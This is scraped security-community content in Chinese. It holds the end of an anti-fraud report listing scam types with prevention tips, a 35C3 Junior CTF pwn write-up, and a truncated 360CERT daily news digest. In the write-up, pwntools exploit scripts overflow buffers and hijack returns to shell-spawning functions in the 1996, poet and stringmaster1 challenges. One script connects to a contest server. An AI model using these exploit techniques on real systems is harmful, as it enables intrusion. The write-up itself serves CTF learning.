---|---|---|---|---|---
**1** **月** | 130 | 5 | 130 | 127 | 3
**2** **月** | 122 | 8 | 122 | 113 | 9
**3** **月** | 241 | 7 | 241 | 236 | 5
**4** **月** | 145 | 9 | 145 | 136 | 9
**5** **月** | 152 | 7 | 152 | 147 | 5
**6** **月** | 172 | 6 | 172 | 167 | 5
**7** **月** | 160 | 7 | 160 | 155 | 5
**8** **月** | 64 | 4 | 64 | 61 | 3
**9** **月** | 57 | 2 | 57 | 57 | 0
**10** **月** | 44 | 2 | 44 | 44 | 0
**11** **月** | 82 | 4 | 82 | 30 | 52
**12** **月** | 84 | 3 | 84 | 33 | 51
**总计** | 1453 | 16（去重后） | 1453 | 1306 | 147
**表2** **猎网平台接到针对联盟成员的举报信息数量及联盟成员处置举报信息表**
## 附录2典型网络诈骗形式及简介
### （一） 虚假兼职
骗子利用QQ、QQ群、邮箱和搜索引擎等渠道发布虚假兼职广告，诱骗受害者上当。网络兼职诈骗的形式很多，最常见的是保证金欺诈和刷信誉欺诈。
防骗提示：所谓的高薪、轻松的招聘信息多为诈骗，找工作在正规机构或网站寻找，并且要看清用人机构的真实性。
### （二） 虚假购物
骗子通过搜索引擎、QQ等方式诱骗用户进入虚假的购物网站进行购物消费。用户在这些虚假的购物网站上消费后，不会收到任何商品。绝大多数虚假购物网站都是模仿知名购物网站而进行精心设计和改造的。
防骗提示：不购买价格明显低于市场正常价格的商品，网购要在正规电商平台内完成。
### （三） 退款欺诈
消费者在网店购物后不久，便会接到自称是网店店主或交易平台客服打来的电话。电话中，对方往往能够准确的说出消费者刚刚购买的商品名称和价格，并以交易失败，要给消费者办理退款手续为由，诱骗消费者在钓鱼网站上输入自己的银行账户、密码、购物网站登陆账户、登陆密码等信息，进而盗刷用户的支付账户。其中，消费者消费信息的泄漏，是骗子能够完成此类诈骗的重要原因。
防骗提示：退款通过电商渠道正规流程办理，需要提供银行卡号和密码的都是骗子
### （四） 网游交易
骗子通过游戏大厅喊话，QQ群喊话等方式，兜售明显低于市价的游戏装备或游戏道具，诱骗受害者到虚假的游戏登录界面或游戏交易网站进行登录或交易，进而骗取受害者的游戏帐号、游戏装备和虚拟财富。此类欺诈还往往会结合交易卡单、解冻资金等其他骗术实施连环欺诈。
防骗提示：游戏交易要看清交易网站合法性，明显低于市价的交易大部分为诈骗。
### （五） 赌博博彩
骗子诱骗受害者在虚假的博彩网站上进行赌博活动。而受害者不论在这些博彩平台上是赔是赚，都无法将赌资从自己的账户中提走。还有一些虚假的博彩网站会操纵赌博过程，诱使受害者的赌资快速输光。
防骗提示：在我们国家，赌博属于违法行为，不要参与。网上的赌博网站也属于违法网站
### （六） 视频交友
骗子通过虚假的视频交友网站或裸聊网站，诱骗受害人不断交费以获取更高级别的服务特权。但实际上，不论受害人向自己的账户充值多少钱，都看不到网站承诺的任何服务。
防骗提示：提供色情视频服务的网站属于违法网站，不要参与。同时在网络交友时，不要轻易给对方转钱。
### （七） 金融理财
骗子开设虚假的金融网站、投资理财网站，通过超高收益诱骗投资者进行投资。而投资者一旦投资，往往根本无法取回本金。常见的投资理财欺诈形式包括天天分红、网上传销和P2P贷款欺诈等。
防骗提示：金融理财商品要在大型机构购买，不信所谓的无风险，高回报，内幕消息等宣传。
### （八） 虚假团购
骗子开设虚假的团购网站诱骗用户进行消费。虚假团购网站大多通过搜索引擎的推广服务进行传播。虚假团购网站销售的商品以游乐园门票、电影票、餐饮票等居多。误入虚假的团购网站会导致财产损失。
防骗提示: 对于不知名的团购网站，需要看清网站备案等是否合法，谨慎团购商品
### （九） 虚假票务
骗子开设虚假的票务网站（包括飞机机票、火车票、轮船票等）实施欺诈。
防骗提示：办理机票退、改签业务要找航空、铁路公司或购票商办理，不可轻信陌生短信、电话告知的方式办理。
### （十） 虚假批发
骗子开设虚假的批发销售网站，诱骗受害人进行购买。
防骗提示：对于低价、批发的产品，需要看清其营业资质等是否合法，谨慎批发商品
### （十一） 网购木马
网购木马是专门用于劫持用户交易资金的木马。此类木马大多通过QQ传播。
防骗提示：不要轻易点击安装未知来源的软件，软件要在官方渠道下载。
### （十二） 虚假中奖
骗子通过中奖短信等方式，以巨额奖金为诱饵，诱骗受害者进入虚假的中奖网站，再以“先交费/税，后提货”为由，诱骗消费者向骗子账户付款。
防骗提示：如果参与抽奖活动，要通过官方渠道进行中奖合适，不轻信短信、邮件等告知的中奖信息。
### （十三）话费充值
骗子开设虚假的话费充值网站，通过搜索引擎等渠道，诱骗消费者进行充值交费。
防骗提示：话费充值要在官方或大型第三方购票网站购买，不可轻信所谓低价、特价信息。第三方话费充值需看清网站合法性。
### （十四）虚假药品
骗子开设虚假的药品网站，卖假药或者是只收钱不卖药。
防骗提示：购买药品品要认准生产商，在正规渠道购买，杜绝来路不明的商品
### （十五） 账号被盗
骗子盗取受害者银行、社交工具等账号和密码，从而造成金钱损失的诈骗
防骗提示: 网银、网上支付、常用邮箱、聊天帐号单独设置密码，切忌一套密码到处用， 重要帐号定期更换密码。
### （十六）冒充熟人
骗子冒充被害者的父母、兄弟、姐妹、朋友、同事、领导等比较熟的人，通过短信、QQ、电话等方式来骗取受害者钱财。
防骗提示：陌生电话打来询问，不要透露过多个人信息，如遇到转账等要求，需要核实是否真实为认识的熟人，不可轻易转账。
### （十七）冒充公检法
骗子冒充公安机关、法院、检察院、国家安全局、交通局等国家机构的办公人员，谎称受害者涉嫌某类案件需要配合调查，并以恐吓、威胁等方式骗受害者取信，并要求受害者通过ATM机、网银等方式将资金转入所谓的保障账户、公正账户等类型的诈骗犯罪。
防骗提示：公检法机关不会要求将资金转入国家账号配合调查，遇到这样的话术全是骗子。
### （十八）代办信用卡
骗子谎称银行机构或银行代办机构，可以帮助受害者办理大额信贷信用卡，骗取受害者佣金的诈骗行为
防骗提示：信用卡要在银行或其指定的正规渠道办理，个人所谓的办理高额透支信用卡基本为诈骗。
### （十九）信用卡提升额度
骗子谎称银行机构或银行代办机构，可以帮助受害者提升信用卡额度的诈骗行为
防骗提示：不要信任此类信息，提升信用卡额度请在正规渠道办理。
### （二十）虚假客服
冒充银行、运营商、淘宝、腾讯等一些正规机构的客服人员，给受害者打电话谎称帮助办理某项业务，从而盗取受害者银行账号、密码等，使得受害者损失财产。
防骗提示：可通过运营商官网、客服电话等渠道查询真伪，不轻信主动打来的电话和短信。
### （二十一）代付欺诈
代付是第三方支付平台提供的一项付款服务，买家购买商品付款的时候，可以找其他人帮忙代付该笔款项。骗子伪装成卖家，在与受害者谈好交易后，将一个伪装好的代付款链接发给受害者，使得受害者付的款项并不是先前谈好的商品，造成被骗的诈骗活动。
防骗提示：网络购物，需按照电商平台正规流程付款，其他付款方式风险高，如需代付款，请看清付款链接的商品后再付款。
### （二十二）微信红包
主要是通过微信或微信群以返还红包、借钱、充话费、进群必须发红包等为借口，骗取受害者进行钱财的诈骗。
防骗提示:不要随意给陌生人发红包，需要交钱才能进入的群大部分是从事着诈骗、赌博、色情等违法活动，此种群请不要进。
### （二十三）补贴诈骗
骗子冒充民政单位工作人员，向家长打电话、发短信，谎称可以领取生育补贴，要其提供银行卡号，然后以资金到账查询为由，指令其在自动取款机上进入英文界面操作，将钱转走
防骗提示：不轻信此类电话，补助款项接收需要正规流程，到ATM机办理均为诈骗
### （二十四）保证金诈骗
骗子冒充商家发布“点赞有奖”、“注册送礼”等活动,要求参与者填写姓名、电话等个人资料，一旦商家套取足够的个人信息后，即以缴纳保证金等形式实施诈骗。
防骗提示：参加活动前要看准主办方资质，不轻易在泄露自己的个人信息的同时谨防对方的骗钱行为。 | 社区文章 |
# 35C3 Junior pwn笔记（上）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在被期末预习虐得半死的时候看到35c3的消息就去稍微看看题，结果又被非libc虐哭，在被虐哭后看到还有Junior赛就过去把Junior的pwn题悄咪咪的写了几题,但在做这些题到后面时还是会卡住，所以在这紧张刺激的期末考结束后写一点笔记来记录和复习下，这里先记录下libc非2.27的题目
## 1996
惯例先checksec文件
➜ 1996 checksec 1996
[*] '/home/Ep3ius/CTF/pwn/process/35c3CTF2018/Junior/1996/1996'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
因为最近在练看汇编题目稍微看了下程序逻辑也不难所以就直接就看汇编分析了
Dump of assembler code for function main:
0x00000000004008cd <+0>: push rbp
0x00000000004008ce <+1>: mov rbp,rsp
0x00000000004008d1 <+4>: push rbx
0x00000000004008d2 <+5>: sub rsp,0x408
0x00000000004008d9 <+12>: lea rsi,[rip+0x188] # 0x400a68
0x00000000004008e0 <+19>: lea rdi,[rip+0x200779] # 0x601060 <std::cout@@GLIBCXX_3.4>
0x00000000004008e7 <+26>: call 0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
0x00000000004008ec <+31>: lea rax,[rbp-0x410]
0x00000000004008f3 <+38>: mov rsi,rax
0x00000000004008f6 <+41>: lea rdi,[rip+0x200883] # 0x601180 <std::cin@@GLIBCXX_3.4>
0x00000000004008fd <+48>: call 0x400740 <std::basic_istream<char, std::char_traits<char> >& std::operator>><char, std::char_traits<char> >(std::basic_istream<char, std::char_traits<char> >&, char*)@plt>
0x0000000000400902 <+53>: lea rax,[rbp-0x410]
0x0000000000400909 <+60>: mov rsi,rax
0x000000000040090c <+63>: lea rdi,[rip+0x20074d] # 0x601060 <std::cout@@GLIBCXX_3.4>
0x0000000000400913 <+70>: call 0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
0x0000000000400918 <+75>: lea rsi,[rip+0x17a] # 0x400a99
0x000000000040091f <+82>: mov rdi,rax
0x0000000000400922 <+85>: call 0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
0x0000000000400927 <+90>: mov rbx,rax
0x000000000040092a <+93>: lea rax,[rbp-0x410]
0x0000000000400931 <+100>: mov rdi,rax
0x0000000000400934 <+103>: call 0x400780 <getenv@plt>
0x0000000000400939 <+108>: mov rsi,rax
0x000000000040093c <+111>: mov rdi,rbx
0x000000000040093f <+114>: call 0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
0x0000000000400944 <+119>: mov rdx,rax
0x0000000000400947 <+122>: mov rax,QWORD PTR [rip+0x200692] # 0x600fe0
0x000000000040094e <+129>: mov rsi,rax
0x0000000000400951 <+132>: mov rdi,rdx
0x0000000000400954 <+135>: call 0x400770 <std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt>
0x0000000000400959 <+140>: mov eax,0x0
0x000000000040095e <+145>: add rsp,0x408
0x0000000000400965 <+152>: pop rbx
0x0000000000400966 <+153>: pop rbp
0x0000000000400967 <+154>: ret
End of assembler dump.
看一下程序的main我们可以知道这里用cin来读取，如果用c来说就相当与gets也就是一个很明显的栈溢出，接着我们看到lea
rax,[rbp-0x410],我们就知道了bufsize=0x410
到了这里我们基本就随便玩了，因为给了执行/bin/sh的函数所以我们直接溢出劫持执行流到spawn_shell函数
Dump of assembler code for function _Z11spawn_shellv:
0x0000000000400897 <+0>: push rbp
0x0000000000400898 <+1>: mov rbp,rsp
0x000000000040089b <+4>: sub rsp,0x10
0x000000000040089f <+8>: lea rax,[rip+0x1b3] # 0x400a59
0x00000000004008a6 <+15>: mov QWORD PTR [rbp-0x10],rax
0x00000000004008aa <+19>: mov QWORD PTR [rbp-0x8],0x0
0x00000000004008b2 <+27>: lea rax,[rbp-0x10]
0x00000000004008b6 <+31>: mov edx,0x0
0x00000000004008bb <+36>: mov rsi,rax
0x00000000004008be <+39>: lea rdi,[rip+0x194] # 0x400a59
0x00000000004008c5 <+46>: call 0x4007a0 <execve@plt>
0x00000000004008ca <+51>: nop
0x00000000004008cb <+52>: leave
0x00000000004008cc <+53>: ret
End of assembler dump.
或者用其他的栈溢出方法，因为是简单题就不多赘述了，直接放EXP
#! /usr/bin/env python
# -*- coding: utf-8 -*- from pwn import*
context(os='linux',arch='amd64',log_level='debug')
#n = process('./1996')
n = remote('35.207.132.47',22227)
elf = ELF('./1996')
sh_addr = 0x0400897
n.recvuntil('?')
n.sendline('a'*(0x410+8)+p64(sh_addr))
n.interactive()
## poet
➜ poet checksec poet
[*] '/home/Ep3ius/CTF/pwn/process/35c3CTF2018/Junior/poet/poet'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
简单的运行下程序看看程序的大致逻辑
➜ poet ./poet
**********************************************************
* We are searching for the poet of the year 2018. *
* Submit your one line poem now to win an amazing prize! *
**********************************************************
Enter the poem here:
> aaaaaaa
Who is the author of this poem?
> nepire
+---------------------------------------------------------------------------+
THE POEM
aaaaaaa
SCORED 0 POINTS.
SORRY, THIS POEM IS JUST NOT GOOD ENOUGH.
YOU MUST SCORE EXACTLY 1000000 POINTS.
TRY AGAIN!
+---------------------------------------------------------------------------+
大致的就是让你写首诗(gou……)然后程序会给你评个分，最终目标是得到1000000分，接着看下大概的汇编
Dump of assembler code for function main:
0x000000000040098b <+0>: push rbx
0x000000000040098c <+1>: mov ecx,0x0
0x0000000000400991 <+6>: mov edx,0x2
0x0000000000400996 <+11>: mov esi,0x0
0x000000000040099b <+16>: mov rdi,QWORD PTR [rip+0x2016de] # 0x602080 <stdout@@GLIBC_2.2.5>
0x00000000004009a2 <+23>: call 0x400640 <setvbuf@plt>
0x00000000004009a7 <+28>: lea rdi,[rip+0x292] # 0x400c40
0x00000000004009ae <+35>: call 0x400600 <puts@plt>
0x00000000004009b3 <+40>: lea rbx,[rip+0x2016e6] # 0x6020a0 <poem>
0x00000000004009ba <+47>: mov eax,0x0
0x00000000004009bf <+52>: call 0x400935 <get_poem>
0x00000000004009c4 <+57>: mov eax,0x0
0x00000000004009c9 <+62>: call 0x400965 <get_author>
0x00000000004009ce <+67>: mov eax,0x0
0x00000000004009d3 <+72>: call 0x4007b7 <rate_poem>
0x00000000004009d8 <+77>: cmp DWORD PTR [rbx+0x440],0xf4240
0x00000000004009e2 <+87>: je 0x4009f2 <main+103>
0x00000000004009e4 <+89>: lea rdi,[rip+0x345] # 0x400d30
0x00000000004009eb <+96>: call 0x400600 <puts@plt>
0x00000000004009f0 <+101>: jmp 0x4009ba <main+47>
0x00000000004009f2 <+103>: mov eax,0x0
0x00000000004009f7 <+108>: call 0x400767 <reward>
End of assembler dump.
main就三个关键逻辑函数(get_poem/get_author/rate_poem)，reward函数就是一个getflag的函数就不细分析了
先看下get_poem和get_author的代码
Dump of assembler code for function get_poem:
0x0000000000400935 <+0>: sub rsp,0x8
0x0000000000400939 <+4>: lea rdi,[rip+0x17b] # 0x400abb
0x0000000000400940 <+11>: mov eax,0x0
0x0000000000400945 <+16>: call 0x400610 <printf@plt>
0x000000000040094a <+21>: lea rdi,[rip+0x20174f] # 0x6020a0 <poem>
0x0000000000400951 <+28>: call 0x400630 <gets@plt>
0x0000000000400956 <+33>: mov DWORD PTR [rip+0x201b80],0x0 # 0x6024e0 <poem+1088>
0x0000000000400960 <+43>: add rsp,0x8
0x0000000000400964 <+47>: ret
End of assembler dump.
Dump of assembler code for function get_author:
0x0000000000400965 <+0>: sub rsp,0x8
0x0000000000400969 <+4>: lea rdi,[rip+0x2a8] # 0x400c18
0x0000000000400970 <+11>: mov eax,0x0
0x0000000000400975 <+16>: call 0x400610 <printf@plt>
0x000000000040097a <+21>: lea rdi,[rip+0x201b1f] # 0x6024a0 <poem+1024>
0x0000000000400981 <+28>: call 0x400630 <gets@plt>
0x0000000000400986 <+33>: add rsp,0x8
0x000000000040098a <+37>: ret
End of assembler dump.
没什么大问题，不过用了gets可能会存在越界写什么的先保留可能
接着看下关键的评分函数
Dump of assembler code for function rate_poem:
0x00000000004007b7 <+0>: push r13
0x00000000004007b9 <+2>: push r12
0x00000000004007bb <+4>: push rbp
0x00000000004007bc <+5>: push rbx
0x00000000004007bd <+6>: sub rsp,0x408
0x00000000004007c4 <+13>: mov rbx,rsp
0x00000000004007c7 <+16>: lea rsi,[rip+0x2018d2] # 0x6020a0 <poem>
0x00000000004007ce <+23>: mov rdi,rbx
0x00000000004007d1 <+26>: call 0x4005f0 <strcpy@plt>
0x00000000004007d6 <+31>: lea rsi,[rip+0x2b4] # 0x400a91
0x00000000004007dd <+38>: mov rdi,rbx
0x00000000004007e0 <+41>: call 0x400660 <strtok@plt>
0x00000000004007e5 <+46>: test rax,rax
0x00000000004007e8 <+49>: je 0x400909 <rate_poem+338>
0x00000000004007ee <+55>: lea rbx,[rip+0x29f] # 0x400a94 "ESPR"
0x00000000004007f5 <+62>: lea rbp,[rip+0x2aa] # 0x400aa6 "eat"
0x00000000004007fc <+69>: lea r12,[rip+0x296] # 0x400a99 "sleep"
0x0000000000400803 <+76>: lea r13,[rip+0x295] # 0x400a9f "pwn"
0x000000000040080a <+83>: jmp 0x40082d <rate_poem+118>
0x000000000040080c <+85>: add DWORD PTR [rip+0x201ccd],0x64 # 0x6024e0 <poem+1088>
0x0000000000400813 <+92>: lea rsi,[rip+0x277] # 0x400a91 "n"
0x000000000040081a <+99>: mov edi,0x0
0x000000000040081f <+104>: call 0x400660 <strtok@plt>
0x0000000000400824 <+109>: test rax,rax
0x0000000000400827 <+112>: je 0x400909 <rate_poem+338>
0x000000000040082d <+118>: mov ecx,0x5
0x0000000000400832 <+123>: mov rsi,rax
0x0000000000400835 <+126>: mov rdi,rbx
0x0000000000400838 <+129>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0x000000000040083a <+131>: seta dl
0x000000000040083d <+134>: sbb dl,0x0
0x0000000000400840 <+137>: test dl,dl
0x0000000000400842 <+139>: je 0x40080c <rate_poem+85>
0x0000000000400844 <+141>: mov ecx,0x4
0x0000000000400849 <+146>: mov rsi,rax
0x000000000040084c <+149>: mov rdi,rbp
0x000000000040084f <+152>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0x0000000000400851 <+154>: seta dl
0x0000000000400854 <+157>: sbb dl,0x0
0x0000000000400857 <+160>: test dl,dl
0x0000000000400859 <+162>: je 0x40080c <rate_poem+85>
0x000000000040085b <+164>: mov ecx,0x6
0x0000000000400860 <+169>: mov rsi,rax
0x0000000000400863 <+172>: mov rdi,r12
0x0000000000400866 <+175>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0x0000000000400868 <+177>: seta dl
0x000000000040086b <+180>: sbb dl,0x0
0x000000000040086e <+183>: test dl,dl
0x0000000000400870 <+185>: je 0x40080c <rate_poem+85>
0x0000000000400872 <+187>: mov ecx,0x4
0x0000000000400877 <+192>: mov rsi,rax
0x000000000040087a <+195>: mov rdi,r13
0x000000000040087d <+198>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0x000000000040087f <+200>: seta dl
0x0000000000400882 <+203>: sbb dl,0x0
0x0000000000400885 <+206>: test dl,dl
0x0000000000400887 <+208>: je 0x40080c <rate_poem+85>
0x0000000000400889 <+210>: mov ecx,0x7
0x000000000040088e <+215>: lea rdi,[rip+0x20e] # 0x400aa3 "repeat"
0x0000000000400895 <+222>: mov rsi,rax
0x0000000000400898 <+225>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0x000000000040089a <+227>: seta dl
0x000000000040089d <+230>: sbb dl,0x0
0x00000000004008a0 <+233>: test dl,dl
0x00000000004008a2 <+235>: je 0x40080c <rate_poem+85>
0x00000000004008a8 <+241>: mov ecx,0x4
0x00000000004008ad <+246>: lea rdi,[rip+0x1f6] # 0x400aaa "CTF"
0x00000000004008b4 <+253>: mov rsi,rax
0x00000000004008b7 <+256>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0x00000000004008b9 <+258>: seta dl
0x00000000004008bc <+261>: sbb dl,0x0
0x00000000004008bf <+264>: test dl,dl
0x00000000004008c1 <+266>: je 0x40080c <rate_poem+85>
0x00000000004008c7 <+272>: mov ecx,0x8
0x00000000004008cc <+277>: lea rdi,[rip+0x1db] # 0x400aae "capture"
0x00000000004008d3 <+284>: mov rsi,rax
0x00000000004008d6 <+287>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0x00000000004008d8 <+289>: seta dl
0x00000000004008db <+292>: sbb dl,0x0
0x00000000004008de <+295>: test dl,dl
0x00000000004008e0 <+297>: je 0x40080c <rate_poem+85>
0x00000000004008e6 <+303>: mov ecx,0x5
0x00000000004008eb <+308>: lea rdi,[rip+0x1c4] # 0x400ab6 "flag"
0x00000000004008f2 <+315>: mov rsi,rax
0x00000000004008f5 <+318>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0x00000000004008f7 <+320>: seta al
0x00000000004008fa <+323>: sbb al,0x0
0x00000000004008fc <+325>: test al,al
0x00000000004008fe <+327>: jne 0x400813 <rate_poem+92>
0x0000000000400904 <+333>: jmp 0x40080c <rate_poem+85>
0x0000000000400909 <+338>: mov edx,DWORD PTR [rip+0x201bd1] # 0x6024e0 <poem+1088>
0x000000000040090f <+344>: lea rsi,[rip+0x20178a] # 0x6020a0 <poem>
0x0000000000400916 <+351>: lea rdi,[rip+0x283] # 0x400ba0
0x000000000040091d <+358>: mov eax,0x0
0x0000000000400922 <+363>: call 0x400610 <printf@plt>
0x0000000000400927 <+368>: add rsp,0x408
0x000000000040092e <+375>: pop rbx
0x000000000040092f <+376>: pop rbp
0x0000000000400930 <+377>: pop r12
0x0000000000400932 <+379>: pop r13
0x0000000000400934 <+381>: ret
End of assembler dump.
这一大段看了半天还是很混乱就去用ida反编译了一下发现还是很乱就换动态调试去理解下这里是做了什么
输了一堆脏数据后发现诗中有’flag’,’CTF’,’capture’，’repeat’的每有其中一个就加100point,但不能直接输入10000个’CTF’，程序会崩,这里稍稍卡了一会，不过在尝试输入了`'a'*
0x100` 和’`b'*
0x100`后，返回得到的分数是1650614882，突然出现一个大数让我看到溢出的可能性，调试…………发现这个分数转十六进制是0x62626262,立马意识到这里的author可以直接溢出覆盖poem
point的结果！经过简单定位得到偏移量为0x3c,我们把1000000转成十六进制就是0x0f4240，然后直接`'a'*0x3c+'x0fx42x40'`得到的poem
point是0x40420f(4211215)并不是想要的point,稍微改一下payload改成小端序的
`payload = 'a' * 0x3c + 'x40x42x0f'`，success！
EXP
#! /usr/bin/env python
# -*- coding: utf-8 -*- from pwn import*
context(os='linux',arch='amd64',log_level='debug')
n = process('./poet')
elf = ELF('./poet')
n.recvuntil('> ')
n.sendline('nepire')
n.recvuntil('> ')
n.sendline('a'*64+'x0fx42x40')
n.interactive()
### stringmaster1
➜ stringmaster1 checksec stringmaster1
[*] '/home/Ep3ius/CTF/pwn/process/35c3CTF2018/Junior/stringmaster1/stringmaster1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
在粗略过一遍接近4k行还看得难受得半死的c++汇编后,立即推放弃看汇编，给了源码就直接怼源码
#include <iostream>
#include <cstdlib>
#include <ctime>
#include <vector>
#include <unistd.h>
#include <limits>
using namespace std;
const string chars = "abcdefghijklmnopqrstuvwxy";
void spawn_shell()
{
char* args[] = {(char*)"/bin/bash", NULL};
execve("/bin/bash", args, NULL);
}
void print_menu()
{
cout << endl;
cout << "Enter the command you want to execute:" << endl;
cout << "[1] swap <index1> <index2> (Cost: 1)" << endl;
cout << "[2] replace <char1> <char2> (Cost: 1)" << endl;
cout << "[3] print (Cost: 1)" << endl;
cout << "[4] quit " << endl;
cout << "> ";
}
void play()
{
string from(10, '0');
string to(10, '0');
for (int i = 0; i < 10; ++i)
{
from[i] = chars[rand() % (chars.length() - 1)];
to[i] = chars[rand() % (chars.length() - 1)];
}
cout << "Perform the following operations on String1 to generate String2 with minimum costs." << endl << endl;
cout << "[1] swap <index1> <index2> (Cost: 1)" << endl;
cout << " Swaps the char at index1 with the char at index2 " << endl;
cout << "[2] replace <char1> <char2> (Cost: 1)" << endl;
cout << " Replaces the first occurence of char1 with char2 " << endl;
cout << "[3] print (Cost: 1)" << endl;
cout << " Prints the current version of the string " << endl;
cout << "[4] quit " << endl;
cout << " Give up and leave the game " << endl;
cout << endl;
cout << "String1: " << from << endl;
cout << "String2: " << to << endl;
cout << endl;
unsigned int costs = 0;
string s(from);
while (true)
{
print_menu();
string command;
cin >> command;
if (command == "swap")
{
unsigned int i1, i2;
cin >> i1 >> i2;
if (cin.good() && i1 < s.length() && i2 < s.length())
{
swap(s[i1], s[i2]);
}
costs += 1;
}
else if (command == "replace")
{
char c1, c2;
cin >> c1 >> c2;
auto index = s.find(c1);
cout << c1 << c2 << index << endl;
if (index >= 0)
{
s[index] = c2;
}
costs += 1;
}
else if (command == "print")
{
cout << s << endl;
costs += 1;
}
else if (command == "quit")
{
cout << "You lost." << endl;
break;
}
else
{
cout << "Invalid command" << endl;
}
if (!cin)
{
cin.clear();
cin.ignore(numeric_limits<streamsize>::max(), 'n');
}
if (!cout)
{
cout.clear();
}
if (s == to)
{
cout << s.length() << endl;
cout << endl;
cout << "****************************************" << endl;
cout << "* Congratulations " << endl;
cout << "* You solved the problem with cost: " << costs << endl;
cout << "****************************************" << endl;
cout << endl;
break;
}
}
}
int main()
{
srand(time(nullptr));
play();
}
程序的大致流程：
1.先初始化一个以时间为种子的随机数
2.随机生成两个string类型的key
3.进入有三个功能的标准菜单循环
4.最终需要把函数劫持到spawn_shell函数(0x4011A7)中getshell
我们可以看到程序中用了一个看上去不那么舒服的find函数
auto index = s.find(c1);
然后我们再看下cplusplus给出的find函数模板和样例
template <class InputIterator, class T>
InputIterator
find (
InputIterator first,
InputIterator last,
const T& val
);
// find example
#include <iostream> // std::cout
#include <algorithm> // std::find
#include <vector> // std::vector
int main () {
// using std::find with array and pointer:
int myints[] = { 10, 20, 30, 40 };
int * p;
p = std::find (myints, myints+4, 30);
if (p != myints+4)
std::cout << "Element found in myints: " << *p << 'n';
else
std::cout << "Element not found in myintsn";
// using std::find with vector and iterator:
std::vector<int> myvector (myints,myints+4);
std::vector<int>::iterator it;
it = find (myvector.begin(), myvector.end(), 30);
if (it != myvector.end())
std::cout << "Element found in myvector: " << *it << 'n';
else
std::cout << "Element not found in myvectorn";
return 0;
}
程序并没有给出find的first和last,那么我们稍微调试一下replace部分就能得到这个可以基本达成栈上的任意写，也就是说只要改play函数的retrun指针指向spwan_shell就可以成功getshell了，由于开始的位置和return指针之间不能保证要改的那个值只有在return指针有，所以我们多修改几次就能成功的修改指针来getshell了
EXP
#! /usr/bin/env python
# -*- coding: utf-8 -*- from pwn import*
context(os='linux',arch='amd64',log_level='debug')
n = process('./stringmaster1')
elf = ELF('./stringmaster1')
libc = elf.libc
#n.recvuntil('String1: ')
#str1 = n.recvline().strip()
#n.recvuntil('String2: ')
#str2 = n.recvline().strip()
for i in range(4):
n.recvuntil('')
n.sendline('replace x24 x11')
for i in range(4):
n.recvuntil('')
n.sendline('replace x6d xa7')
n.sendline('quit')
n.interactive()
#### 参考链接
[cplusplus_find](http://www.cplusplus.com/reference/algorithm/find/) | 社区文章 |
# 5月7日安全热点 - Facebook承认部分工作人员可随时登录所有账户
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞 Vulnerability
1.戴尔RSA Authentication Manager多个漏洞
<http://t.cn/RukOeWU>
2.Redhat安全更新，EventData构造函数中的反序列化漏洞（CVE-2018-8088）
<http://t.cn/RukOeWF>
3.GLib基于栈缓冲区的越界读漏洞（CVE-2018-10767）
<http://t.cn/RukOejZ>
4.GNU Wget 通过\r\n可进行cookie注入，影响1.19.5之前版本（CVE-2018-0494）
<http://t.cn/RukOeYx>
## 安全研究 Security Research
1.对Header中的Host进行操作
<http://t.cn/RukOeSZ>
2.XSS Payload 列表
<http://t.cn/RukOeSu>
3.在AD环境中使用LDAP，Kerberos
<http://t.cn/RukOeKM>
4.Windows Admin Center SDK 公开预览版发布
<http://t.cn/RukOe9L>
## 安全事件 Security Incident
1.黑客攻击了200家公司并在暗网售卖百万用户的数据
<http://t.cn/RukOe9F>
## 恶意软件 Malware
1.Spartacus勒索软件分析
<http://t.cn/Rukf827>
2.解码Gh0st RAT变种中的网络数据
<http://t.cn/RueQGEu>
## 安全工具 Security Tools
1.CVE-2017-15944: Metasploit PAN-OS readSessionVarsFromFile Exploit
<http://t.cn/RukOeN3>
2.Huntpad – 一款方便渗透人员的记事本
<http://t.cn/RukOepB>
3.SpookFlare：一款用于绕过各种安全措施的工具
<http://t.cn/Rj0rmwL>
4.工具Visual Recon使用指南
<http://t.cn/RukOeO6>
5.APTSimulator：可模拟被APT攻击的场景
<http://t.cn/REOayj0>
## 安全资讯 Security Information
1.EscInSecurity 每周TrickBot分析
<http://t.cn/RukOeJY>
2.以GDPR为诱饵针对Airbnb用户的网络钓鱼活动
<http://t.cn/RuBD9Y4>
3.五角大楼禁止军事基地的商店贩卖华为和中兴手机
<http://t.cn/Rud97SR>
4.一些推荐的安全书籍
<http://t.cn/RukOeiN>
5.币圈小心：虚拟数字货币钱包成盗号木马新目标
<http://t.cn/RukWhtL>
6.Facebook承认用户账户有后门：部分工作人员可随时登录所有账户
<http://t.cn/RukOeXZ>
7.俄罗斯瞄准美国2018年中期选举？
<http://t.cn/RukOea5>
【以上信息整理于 <https://cert.360.cn/daily> 】
360CERT全称“360 Computer Emergency Readiness
